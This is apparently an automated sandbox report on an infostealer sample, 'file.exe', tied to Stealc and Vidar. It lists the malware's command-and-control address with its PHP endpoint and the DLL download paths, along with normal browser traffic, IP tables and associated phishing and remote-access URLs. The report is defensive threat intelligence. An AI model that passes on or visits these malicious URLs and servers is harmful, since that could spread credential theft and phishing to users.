https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730137420592&w=0&anoncknm=app_anon&NoResponseBody=true	false		unknown
http://185.215.113.206/6c4adf523b719729.php	true		unknown
http://185.215.113.206/746f34465cf17784/softokn3.dll	true		unknown
https://c.msn.com/c.gif?rnd=1730137417932&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=e1c7ee160fc84bccb2e26f7fc786d2a1&activityId=e1c7ee160fc84bccb2e26f7fc786d2a1&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=AE5378FDF76747C3BBD015B21727F991&MUID=29FEC05542B56D820230D57343E26C2D	false		unknown
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false		unknown
https://sb.scorecardresearch.com/b?rn=1730137417933&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=29FEC05542B56D820230D57343E26C2D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false		unknown
http://185.215.113.206/746f34465cf17784/freebl3.dll	true		unknown
https://play.google.com/log?format=json&hasfast=true	false		unknown
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false		unknown
http://185.215.113.206/746f34465cf17784/mozglue.dll	true		unknown
http://185.215.113.206/746f34465cf17784/nss3.dll	true		unknown
https://clients2.googleusercontent.com/crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx	false		unknown
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730137417931&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2368743778.000000002345D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2262062219.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, DBGHDGHC.0.dr, Web Data.9.dr, FBKECFII.0.dr	false	URL Reputation: safe	unknown
https://c.msn.com/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2368743778.000000002345D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2262062219.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, DBGHDGHC.0.dr, Web Data.9.dr, FBKECFII.0.dr	false	URL Reputation: safe	unknown
http://www.broofa.com	chromecache_529.4.dr	false	URL Reputation: safe	unknown
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	false		unknown
https://ntp.msn.com/0	000003.log2.9.dr	false		unknown
https://ntp.msn.com/_default	QuotaManager.9.dr	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2489025666.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp, BGIJEGCGDGHDHIDHDGCB.0.dr	false	URL Reputation: safe	unknown
https://www.last.fm/	628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	false		unknown
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.9.dr	false		unknown
https://aefd.nelreports.net/api/report?cat=bingcsp	Reporting and NEL.10.dr	false		unknown
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://deff.nelreports.net/api/report	Reporting and NEL.10.dr	false		unknown
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_528.4.dr	false	URL Reputation: safe	unknown
https://docs.google.com/	manifest.json0.9.dr	false		unknown
https://www.youtube.com	628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	false		unknown
https://deff.nelreports.net/api/report?cat=msnw	Reporting and NEL.10.dr	false		unknown
https://www.instagram.com	628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	false		unknown
https://web.skype.com/?browsername=edge_canary_shoreline	628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	false		unknown
http://185.215.113.206P	file.exe, 00000000.00000002.2489025666.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://drive.google.com/	manifest.json0.9.dr	false		unknown
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	false		unknown
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	false		unknown
https://www.messenger.com	628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	false		unknown
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	false		unknown
https://outlook.office.com/mail/compose?isExtension=true	628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	false		unknown
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		unknown
http://185.215.113.206/6c4adf523b719729.phpoft	file.exe, 00000000.00000002.2489025666.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://i.y.qq.com/n2/m/index.html	628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	false		unknown
https://www.deezer.com/	628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	false		unknown
https://web.telegram.org/	628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	false		unknown
http://185.215.113.206/6c4adf523b719729.phpCY	file.exe, 00000000.00000002.2489025666.0000000000B61000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpJEGCGDGHDHIDHDGCB	file.exe, 00000000.00000002.2489025666.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://drive-daily-2.corp.google.com/	manifest.json0.9.dr	false	URL Reputation: safe	unknown
https://drive-daily-4.corp.google.com/	manifest.json0.9.dr	false	URL Reputation: safe	unknown
https://vibe.naver.com/today	628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	false		unknown
https://srtb.msn.com/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2368743778.000000002345D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2262062219.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, DBGHDGHC.0.dr, Web Data.9.dr, FBKECFII.0.dr	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2262062219.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, FBKECFII.0.dr	false	URL Reputation: safe	unknown
https://drive-daily-1.corp.google.com/	manifest.json0.9.dr	false	URL Reputation: safe	unknown
https://excel.new?from=EdgeM365Shoreline	628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	false		unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	BGDAAKJJDAAKFHJKJKFCAEHDAF.0.dr	false	URL Reputation: safe	unknown
https://drive-daily-5.corp.google.com/	manifest.json0.9.dr	false	URL Reputation: safe	unknown
https://plus.google.com	chromecache_528.4.dr	false		unknown
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.10.dr	false		unknown
https://www.google.com/chrome	content_new.js.9.dr, content.js.9.dr	false		unknown
https://www.tiktok.com/	628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	false	URL Reputation: safe	unknown
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.9.dr	false		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	BGDAAKJJDAAKFHJKJKFCAEHDAF.0.dr	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2489025666.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp, BGIJEGCGDGHDHIDHDGCB.0.dr	false	URL Reputation: safe	unknown
https://chromewebstore.google.com/	manifest.json.9.dr	false	URL Reputation: safe	unknown
https://drive-preprod.corp.google.com/	manifest.json0.9.dr	false	URL Reputation: safe	unknown
https://srtb.msn.cn/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2489025666.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp, BGIJEGCGDGHDHIDHDGCB.0.dr	false		unknown
https://msn.comXIDv10	Cookies.10.dr	false		unknown
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	false		unknown
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	false		unknown
https://chrome.google.com/webstore/	manifest.json.9.dr	false		unknown
https://y.music.163.com/m/	628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	false		unknown
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		unknown
https://bard.google.com/	628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	false		unknown
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://clients6.google.com	chromecache_528.4.dr	false		unknown
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://web.whatsapp.com	628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	false		unknown
http://185.215.113.206/6c4adf523b719729.php~	file.exe, 00000000.00000002.2489025666.0000000000B61000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://m.kugou.com/	628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	false		unknown
https://www.office.com	628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	false		unknown
https://outlook.live.com/mail/0/	628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	false		unknown
http://185.215.113.206/6c4adf523b719729.phpBrowser	file.exe, 00000000.00000002.2489025666.0000000000B36000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	BGIJEGCGDGHDHIDHDGCB.0.dr	false		unknown
https://docs.rs/getrandom#nodejs-es-module-support	file.exe, file.exe, 00000000.00000002.2486320948.000000000038C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2063912669.0000000004B1B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2512032465.000000006CFA1000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr	false	URL Reputation: safe	unknown
https://ntp.msn.com/edge/ntp	000003.log2.9.dr, 2cc80dabc69f58b6_1.9.dr	false		unknown
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://powerpoint.new?from=EdgeM365Shoreline	628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2368743778.000000002345D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2262062219.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, DBGHDGHC.0.dr, Web Data.9.dr, FBKECFII.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phpo	file.exe, 00000000.00000002.2489025666.0000000000B36000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpp	file.exe, 00000000.00000002.2489025666.0000000000B36000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://tidal.com/	628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.47.50.136	unknown	United States	16625	AKAMAI-ASUS	false
23.222.241.144	unknown	United States	20940	AKAMAI-ASN1EU	false
142.250.184.196	www.google.com	United States	15169	GOOGLEUS	false
13.89.179.13	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.218.232.154	unknown	United States	24835	RAYA-ASEG	false
23.222.241.149	unknown	United States	20940	AKAMAI-ASN1EU	false
172.217.18.1	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.184.238	play.google.com	United States	15169	GOOGLEUS	false
4.152.199.46	unknown	United States	3356	LEVEL3US	false
142.250.186.174	plus.l.google.com	United States	15169	GOOGLEUS	false
108.156.60.50	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
23.218.232.160	unknown	United States	24835	RAYA-ASEG	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.221.22.173	unknown	United States	20940	AKAMAI-ASN1EU	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.245.113.73	unknown	United States	16509	AMAZON-02US	false
23.101.168.44	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.123.243.195	mira-tmc.tm-4.office.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1544044
Start date and time:	2024-10-28 18:42:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@67/297@26/25
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.131, 142.251.5.84, 142.250.186.142, 34.104.35.123, 142.250.186.99, 216.58.212.138, 142.250.185.106, 142.250.184.234, 142.250.186.106, 172.217.23.106, 142.250.185.202, 172.217.16.202, 142.250.186.42, 142.250.185.74, 142.250.185.170, 142.250.185.234, 142.250.186.170, 142.250.185.138, 142.250.181.234, 216.58.206.42, 216.58.206.74, 142.250.186.74, 216.58.212.170, 93.184.221.240, 192.229.221.95, 204.79.197.203, 216.58.206.78, 13.107.6.158, 13.107.21.239, 204.79.197.239, 20.56.187.20, 2.19.126.152, 2.19.126.145, 88.221.110.195, 88.221.110.179, 2.23.209.181, 2.23.209.161, 2.23.209.160, 2.23.209.141, 2.23.209.179, 2.23.209.177, 2.23.209.176, 2.23.209.158, 2.23.209.149, 2.23.209.193, 2.23.209.135, 2.23.209.187, 2.23.209.150, 23.38.98.115, 23.38.98.105, 23.38.98.121, 23.38.98.94, 23.38.98.120, 23.38.98.119, 23.38.98.98, 23.38.98.118, 23.38.98.71, 13.74.129.1, 204.79.197.237, 13.107.21.237, 2.23.209.182, 2.23.209.185, 2.23.209.189, 48.209.162.134, 142.250.115.94, 142
Excluded domains from analysis (whitelisted): nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, www.gstatic.com, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, mira.config.skype.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, www.bing.com.edgekey.net, th.bing.com, msedge.b.tlu.dl.delivery.mp.microsoft.com, config.edge.skype.com, optimizationguide-pa.googleapis.com, prod-agic-ne-5.northeurope.cloudapp.azure.com, edge-microsoft-com.
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
13:43:31	API Interceptor	62x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
20.125.209.212	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	W9f3Fx6sL4.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	http://google.com	Get hash	malicious	Unknown	Browse
	https://web.kamihq.com/	Get hash	malicious	Unknown	Browse
	https://app.scalenut.com/creator/d0ab8cf4-bc58-4dd4-a63c-fdc95e54322f/kj8jd9r9do	Get hash	malicious	HTMLPhisher	Browse
	https://myworkspace10fa5.myclickfunnels.com/onlinereview--00e63?preview=true	Get hash	malicious	Unknown	Browse
	https://forms.office.com/Pages/ShareFormPage.aspx?id=ftLiCkvgmUWRfqw5YPs3_fpDqIXyltBNn_DKM6uFDvVUNlhVQ1g1MVZJWEZEOE5MVVBERkI4MVRKVC4u&sharetoken=4ily2rwaUoxDpLkfEsVo	Get hash	malicious	Unknown	Browse
239.255.255.250	https://link.edgepilot.com/s/b064b0de/7_W48d8I8kGlXhrfD-hDUg?u=https://delivmodas.ks.infinitoag.com/	Get hash	malicious	Unknown	Browse
	6B530627-1802-4180-83E0-9D13C1074460.1_originalmail.eml	Get hash	malicious	Unknown	Browse
	https://1drv.ms/o/s!BOd5RNxFaxkGg1r5bc30bgQWmkNc?e=J67qxK-KfEurqpMk0dasTw&at=9	Get hash	malicious	Unknown	Browse
	https://docs.google.com/drawings/d/1O7L6jnunpKYYRy1ZXX5DN4ENeZ4pxxWF8BG0mcDdFi0/preview?pli=1ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVe	Get hash	malicious	HTMLPhisher	Browse
	renier_visser-In Employee -11384.pdf	Get hash	malicious	Unknown	Browse
	https://www-suasconsult-com-br.translate.goog/?_x_tr_sl=pt&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=sc	Get hash	malicious	Unknown	Browse
	http://demettei.com	Get hash	malicious	Unknown	Browse
	http://doscome.cluster029.hosting.ovh.net/Sglient/	Get hash	malicious	Unknown	Browse
	https://edpage.suasconsult.com.br/Bin/support.Client.exe?h=looj.xsmqcreoarta-010.de&p=5837&k=BgIAAACkAABSU0ExAAgAAAEAAQBVXsSEc%2Bx9uXD3C%2F7hA6k%2BCkYq8qNt9ddXTDuk6xtcDXcigKgagdDrv%2FcdVObs%2B5PsIEqa3J7G2KVNlw%2FruJmp5gWKLUA7CGK0M2xYP%2FnHrh8PGKb6APgX8%2BMmK%2FRI%2FuG1ObyHzrZSA2zDxqMWtbhBTbrYOR9GzyZRtT2sHBbUlx41DAcKHlRcqgqrm7UWwNY1mXMg1RfS2uCkTVjdU3GL7AKxo9LZAF%2BNZ31xMPej0IfTdjxJIuBFFPQhiLUl3MrrnM%2BcDzOJ4R5qzkEDJux1InHPO4447uQgY2C%2FpH9XXbyUJCVvgFFCPS5LSQJiQ7CvgPW3fKiAsEahrr56vu2y&s=91e7c5ac-5da8-42d0-b490-659f144c6095&i=Untitled%20Session&e=Support&y=Guest&r=	Get hash	malicious	ScreenConnect Tool	Browse
	https://docs.google.com/drawings/d/1JRNFh_1Cbzym_iLfw5aw8-eo7G0EKRf1L0-MpuWvb2k/preview?pli=1MiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAY